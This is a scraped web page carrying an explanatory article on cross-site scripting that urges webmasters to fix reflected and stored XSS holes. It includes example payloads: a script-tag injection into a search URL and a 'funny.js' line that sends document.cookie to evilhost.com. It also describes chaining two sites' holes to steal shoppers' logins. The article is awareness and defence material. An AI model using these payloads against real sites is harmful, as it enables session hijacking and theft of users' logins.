Featured Links

Other Topics
Sponsored Links







Quote of the Day

"I don't wish to be everything to everyone, but I would like to be something to someone."

Javan





Click here for eBay Motors!


 






 
Featured Javascript Articles

Free Automatic Content - Can the Search Engines See Yours?
Ever heard any of this advice? * Content Is King - so Search Engines and Visitors will Love your Site * Make Your Site Sticky - so Visitors will Return * Add New Content Regularly - so Search Engines will Rank your Site Higher Are they true statements? ...

Not all people are into solving mysteries
The day Javascript was created, web site owners may have rejoiced at the wonders that man can think of in adding something to make sites more enjoyable for the readers. The readers having had some sort of amusement while browsing through were quite taken ...

Reciprocal links: Look before you link
A reciprocal link is when a web site links to you and you link back to them. If you own a website, I'm sure you've received emails asking for link exchanges. This article's purpose is to help you decide who you should be linking to and why. Look before ...




Xss Vulnerabilities, So Understimated, So Dangerous
 
In this little paper I will try to convince admins, webmaster and in general everyone is concerned to secure a web site of how dangerous can be a XSS hole. I will not cover in depth what XSS is because there's a huge library on this topic available on internet and on www.hackerscenter.com/library
--[ 2.0 XSS So what's XSS? XSS stands for cross site scripting, that is a way to inject script code into a web page making it execute whenever the page loads or a specific event is triggered.
2.1 Temporary XSS
A factor because of which this kind of bug is understimated is due to the "temporary xss" as I use to call them. Temporary xss are script codes executed only when a script code within a crafted input is issued by the user.
Example: http://vuln.host.com/search.asp?q=<br /> The above example will inject a "<plaintext>" tag in the search.asp page showing the source html code of the page The point here is: Who searched for <plaintext> will see the source code but this not implies any permanent alteration of the page.<br /> 2.2 Permanent XSS<br /> A "permanent XSS" as I use to call them, are due to unsanitized input by user that will be saved on a database for example. Each time these unsanitized fields are read from the database and printed on the page the script will be executed. (A lot of registration forms server side scripts are affected by this kind of vuln)<br /> <br /> --[ 3.0 Attacks<br /> What I want to demonstrate in this article is how dangerous can be a temporary xss. Most of the webmaster (99%, believe me), treat this kind of bug as very very low level issue because of the reasons we have seen. They think it is even a loss of time to sanitize input that doesn't go into a database.<br /> What they seem to be unable to understand is that whenever a malicious user is able to run a client side script from their domain name a cookie stealing attack can be *easily* taken. This becomes a high level risk vuln when we deal with ecommerce site, webmail service and similar.<br /> 3.1 Scenario 1<br /> Let's assume that we've found a xss vuln into 2 sites. The first will be used as the "dumb" (A) site, that has a permanent xss hole, while the latter will be a big shopping portal (B) I want to steal cookie from, that has "just" a little innocent temporary xss hole.<br /> We mail the big shopping portal admin about the vuln, trying to make him understand how serious it is the bug. He never reply. So we decide to have some fun...innocent fun..as much innocent as their xss hole was, I suppose...<br /> What one could do is to inject a stealth script into the dumb site to force (always stealthly) every visitor of site A to load the vulnerable url we have found into site B. Here anyone can understand that even <a href="http://vuln.host.com/search.asp?q=">http://vuln.host.com/search.asp?q=</a><plaintext> is now very very useful for our purpose. Instead of <plaintext>, we can use something like this: <a href="http://vuln.host.com/search.asp?q=">http://vuln.host.com/search.asp?q=</a><script src='<a href="http://myhosting.com/xsstrials/funny.js'></script>">http://myhosting.com/xsstrials/funny.js'></script></a>;<br /> Funny.js will be our malicious script code that will be run on vuln.host.com domain ...and it will be similar to this: // Funny.js navigate to 'evilhost.com/collect_cookies.asp?cookie=' + document.cookie // where collect_cookies.asp will be a server side script that will collect everything passed by parameter "cookie" and evilhost.com can be a hosting space set up by the malicious attacker.<br /> So what happens here? 1. A user visits dumb site thus triggering our permanent xss. 2. The permanent xss will load the page <a href="http://vuln.host.com/search.asp?q=">http://vuln.host.com/search.asp?q=</a><script src='<a href="http://myhosting.com/xsstrials/funny.js'></script> ">http://myhosting.com/xsstrials/funny.js'></script> </a> that executes funny.js thanks to the temporary xss hole in the big shopping portal. 3. funny.js is now loaded on the big shopping portal domain name letting us steal the cookie (and the login data) of the dumb site visitor.<br /> By "stealth script" we mean a script that doesn't change the appearance of the page so that no one will notice any background work.<br /> -- [ Side effects<br /> In this section I will show some side effects of the xss desease that are often forgotten or misunderstood by a lot of analysts/webmasters.<br /> The xss holes, permanent and tempory ones, can be used to attack a local victim (visitor of the vulnerable site) directly by injecting a malicious code capable of exploting a local vulnerability of the victim system. This has become very common (and easy to do) because of the tons of vulnerabilities that affect Internet Explorer and the browsers in general. <br /> Let's take for example a xss hole into trustedsite.com. Anyone could take advantage of the trustness of this domain to execute code with high privilege levels, executing or installing malicious activex. This kind of approach can be taken into Internet Exlporer and in general in all the browsers that use the so called trusted "Zones".<br /> Another important issue that can make a simple XSS hole a high level risk issue is the capability of attacking thousands computers into few hours or even into minutes according to the traffic of the vulnerable page. This kind of practice can lead to malware/adware spread. If a high traffic page is vulnerable to a permanent xss a malware/worm/adware coder can choose this kind of approach to put the seeds of his worm making it spread in a stealth manner and within few time.<br /> -- [ How to solve the problem<br /> Incredible to say, XSS holes are the most simple to solve and fix. They usually involve script tag but not always. Less known code can use the image tag with dynsrc or src parameters and "javascript:alert('aaa')" as argument or the <style> tag e.g. : <style type="text/javascript">script goes here</style><br /> In general the characters to be sanitized are the usual "<" and ">" but there are some more to be carefully escaped: &{code}; will run the code into netscape / mozilla browsers so "&{" combination of chars should be sanitized too. In the 99% of the cases an "HTML Encode" would solve the problem. In asp it can be easily done with the inbuilt function server.htmlencode(myparameter).<br /> <br /> About the Author <br />Zinho is webmaster and founder of <a href="http://www.hackerscenter.com">http://www.hackerscenter.com</a> , a leading security portal with texts and articles to help securing web sites and networks. </b> <br><br> </span></td> </tr> </table> </div> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> </td> </tr> </table> <br> <!-- Search Google --> <center> <form method="get" action="http://www.google.com/custom" target="google_window"> <table bgcolor="#ffffff"> <tr><td nowrap="nowrap" valign="top" align="left" height="32"> <a href="http://www.google.com/"> <img src="http://www.tech6on.com/images/Logo_25wht.gif" border="0" alt="Google" align="middle"></img></a> <label for="sbi" style="display: none">Enter your search terms</label> <input type="text" name="q" size="31" maxlength="255" value="" id="sbi"></input> <label for="sbb" style="display: none">Submit search form</label> <input type="submit" name="sa" value="Search" id="sbb"></input> <input type="hidden" name="client" value=""></input> <input type="hidden" name="forid" value="1"></input> <input type="hidden" name="ie" value="ISO-8859-1"></input> <input type="hidden" name="oe" value="ISO-8859-1"></input> <input type="hidden" name="cof" value="GALT:#008000;GL:1;DIV:#336699;VLC:663399;AH:center;BGC:FFFFFF;LBGC:336699;ALC:0000FF;LC:0000FF;T:000000;GFNT:0000FF;GIMP:0000FF;FORID:1"></input> <input type="hidden" name="hl" value="en"></input> </td></tr></form></table> </center> <!-- Search Google --> <br> <div align="center"> <!-- Begin PayPal Logo --> <a href="https://www.paypal.com/us/mrb/pal=KNVY6BYR2MBMU" target="_blank"> <img src="http://www.tech6on.com/images/paypal_mrb_banner.gif" border="0" alt="Sign up for PayPal and start accepting credit card payments instantly."></img> </a> <!-- End PayPal Logo --> </div> <br> <div id="contentHeader3">Javascript News</div> <div align="left"> <br /> <b>Warning</b>: Call-time pass-by-reference has been deprecated - argument passed by value; If you would like to pass it by reference, modify the declaration of xml_set_object(). If you would like to enable call-time pass-by-reference, you can set allow_call_time_pass_reference to true in your INI file. However, future versions may not support this any longer. in <b>/mnt/web7/31/89/51742389/htdocs/javascript/rss1.php</b> on line <b>36</b><br /> <br><img src="/images/google_news.gif" /><table border=0 width= valign=top cellpadding=2 cellspacing=7><tr><td valign=top class=j><font style="font-size:85%;font-family:arial,sans-serif"><br><div style="padding-top:0.8em;"><img alt="" height="1" width="1"></div><div class=lh><a href="http://news.google.com/news/url?sa=T&ct=us/0-0&fd=R&url=http://voices.washingtonpost.com/securityfix/2008/11/peculiar_patch_pits_iphone_sec.html%3Fhpid%3Dsec-tech&cid=1272792081&ei=vIgmScv-IKaowAHymdRJ&usg=AFQjCNEFtkNj46jCmlfxBCLw18nRmu8-dw">iPhone Security vs. Safari</a><br><font size=-1><font color=#6f6f6f>Washington Post,&nbsp;United States&nbsp;-</font> <nobr>4 hours ago</nobr></font><br><font size=-1>This update addresses the issue by performing additional validation of <b>JavaScript</b> array indices. Credit to SkyLined of Google for reporting this issue. <b>...</b></font></div></font></td></tr></table><table border=0 width= valign=top cellpadding=2 cellspacing=7><tr><td valign=top class=j><font style="font-size:85%;font-family:arial,sans-serif"><br><div style="padding-top:0.8em;"><img alt="" height="1" width="1"></div><div class=lh><a href="http://news.google.com/news/url?sa=T&ct=us/1-0&fd=R&url=http://abcnews.go.com/Health/PainManagement/comments%3Ftype%3Dstory%26id%3D6273939&cid=1272810360&ei=vIgmScv-IKaowAHymdRJ&usg=AFQjCNEs8qxDTKGGklQ2yqDwH86db-HYUw">When You Can&#39;t Stop Throwing Up</a><br><font size=-1><font color=#6f6f6f>ABC News&nbsp;-</font> <nobr>3 hours ago</nobr></font><br><font size=-1><b>Javascript</b> is not enabled on your browser. Please enable <b>javascript</b> to use the community features on this page. If your browser does not support <b>javascript</b>, <b>...</b></font></div></font></td></tr></table><table border=0 width= valign=top cellpadding=2 cellspacing=7><tr><td valign=top class=j><font style="font-size:85%;font-family:arial,sans-serif"><br><div style="padding-top:0.8em;"><img alt="" height="1" width="1"></div><div class=lh><a href="http://news.google.com/news/url?sa=T&ct=us/2-0&fd=R&url=http://java.sys-con.com/node/756141&cid=0&ei=vIgmScv-IKaowAHymdRJ&usg=AFQjCNECFrDmcZawhJJZ-bYMY3GXDt4SZg">Debug <b>JavaScript</b> in Adobe AIR Apps Using Aptana Studio 1.2.1</a><br><font size=-1><font color=#6f6f6f>SYS-CON Media,&nbsp;NJ&nbsp;-</font> <nobr>18 hours ago</nobr></font><br><font size=-1><b>JavaScript</b> is pretty much everywhere you look these days, reaching far beyond your desktop browser. Adobe AIR lets you use <b>JavaScript</b> to create desktop <b>...</b></font></div></font></td></tr></table><table border=0 width= valign=top cellpadding=2 cellspacing=7><tr><td width=80 align=center valign=top><font style="font-size:85%;font-family:arial,sans-serif"><a href="http://news.google.com/news/url?sa=T&ct=us/3i-0&fd=R&url=http://www.24dash.com/news/Housing/2008-11-21-Welfare-to-work-benefits-scheme-could-increase-hardship&cid=1272786270&ei=vIgmScv-IKaowAHymdRJ&usg=AFQjCNHdej8Wm6EkpuXeAz_0aK8aBvgsJg"><img src=http://news.google.com/news?imgefp=qOSv2tImakMJ&imgurl=www.24dash.com/media/image/2008/11/21/8960/180_Image_PA_job_centre_edited.jpg width=65 height=80 alt="" border=1><br><font size=-2>24dash</font></a></font></td><td valign=top class=j><font style="font-size:85%;font-family:arial,sans-serif"><br><div style="padding-top:0.8em;"><img alt="" height="1" width="1"></div><div class=lh><a href="http://news.google.com/news/url?sa=T&ct=us/3-0&fd=R&url=http://news.bbc.co.uk/2/hi/uk_news/politics/7740943.stm&cid=1272786270&ei=vIgmScv-IKaowAHymdRJ&usg=AFQjCNHB3qAibNNnHjZGkjd87vW217h2ZA">Welfare plan &#39;may cause poverty&#39;</a><br><font size=-1><font color=#6f6f6f>BBC News,&nbsp;UK&nbsp;-</font> <nobr>36 minutes ago</nobr></font><br><font size=-1>Please turn on <b>JavaScript</b>. Media requires <b>JavaScript</b> to play. But from Monday, those with children aged 12 and over will no longer be able to make a new <b>...</b></font><br><font size=-1><a href="http://news.google.com/news/url?sa=T&ct=us/3-1&fd=R&url=http://www.burnleyexpress.net/latest-national-news/Benefits-plan-39could-cause-poverty39.4717673.jp&cid=1272786270&ei=vIgmScv-IKaowAHymdRJ&usg=AFQjCNERO9ehw8RlTJg3qr4Xmoqe0sJHNw">You need to have <b>javascript</b> enabled to view this page correctly</a> <font size=-1 color=#6f6f6f><nobr>Burnley Express</nobr></font></font><br><font class=p size=-1><a class=p href=http://news.google.com/news?hl=en&ned=us&ie=ISO-8859-1&ncl=1272786270><nobr>all 152 news articles</nobr></a></font></div></font></td></tr></table><table border=0 width= valign=top cellpadding=2 cellspacing=7><tr><td valign=top class=j><font style="font-size:85%;font-family:arial,sans-serif"><br><div style="padding-top:0.8em;"><img alt="" height="1" width="1"></div><div class=lh><a href="http://news.google.com/news/url?sa=T&ct=us/4-0&fd=R&url=http://abcnews.go.com/Politics/comments%3Ftype%3Dstory%26id%3D6286570&cid=1272689437&ei=vIgmScv-IKaowAHymdRJ&usg=AFQjCNEeLqhvmfzQ8ZyjBjS3A80zWCheJw">Democrats Seek to Lower Expectations for Bailout</a><br><font size=-1><font color=#6f6f6f>ABC News&nbsp;-</font> <nobr>Nov 19, 2008</nobr></font><br><font size=-1><b>Javascript</b> is not enabled on your browser. Please enable <b>javascript</b> to use the community features on this page. If your browser does not support <b>javascript</b>, <b>...</b></font></div></font></td></tr></table> </td> </tr> </table> </div> <div id="divBaseLinks"> <span style="font:Arial, Helvetica, sans-serif; font-size:10px; color:#000000">&copy; <script type="text/javascript"> <!-- var year=mydate.getYear() if (year < 1000) year+=1900 document.write(""+year+"") // --> </script> <a href="http://www.tech6on.com">Ervinas.com</a> - All Rights Reserved. </span> <br /> <div id="footer" align="center"> <a href="../auctions/index.php">Auctions</a> - <a href="../business/index.php">Business</a> - <a href="../computers/index.php">Computers</a> - <a href="../domainnames/index.php">Domain Names</a> - <a href="../downloads/index.php">Downloads</a> - <a href="../ebay/index.php">Ebay</a> - <a href="../ebooks/index.php">Ebooks</a> - <a href="../ecommerce/index.php">Ecommerce</a> - <a href="../emailmarketing/index.php">Email Marketing</a> - <a href="../internetmarketing/index.php">Internet Marketing</a> - <a href="../html/index.php">HTML</a> - <a href="../javascript/index.php">Javascript</a> - <a href="../mp3/index.php">MP3</a> - <a href="../networkmarketing/index.php">Network Marketing</a> - <a href="../onlinepromotion/index.php">Online Promotion</a> - <a href="../searchengines/index.php">Search Engines</a> - <a href="../sitepromotion/index.php">Site Promotion</a> - <a href="../software/index.php">Software</a> - <a href="../technology/index.php">Technology</a> - <a href="../videoconferencing/index.php">Video Conferencing</a> - <a href="../voip/index.php">VOIP</a> - <a href="../webdesign/index.php">Web Design</a> - <a href="../webdevelopment/index.php">Web Development</a> - <a href="../webhosting/index.php">Web Hosting</a> - <a href="../wifi/index.php">Wifi</a> - </div> </div> <b class="rbottom"><b class="r4"></b><b class="r3"></b> <b class="r2"></b> <b class="r1"></b></b> </div> <br /> </td> </tr> </table> </div> </body> </html>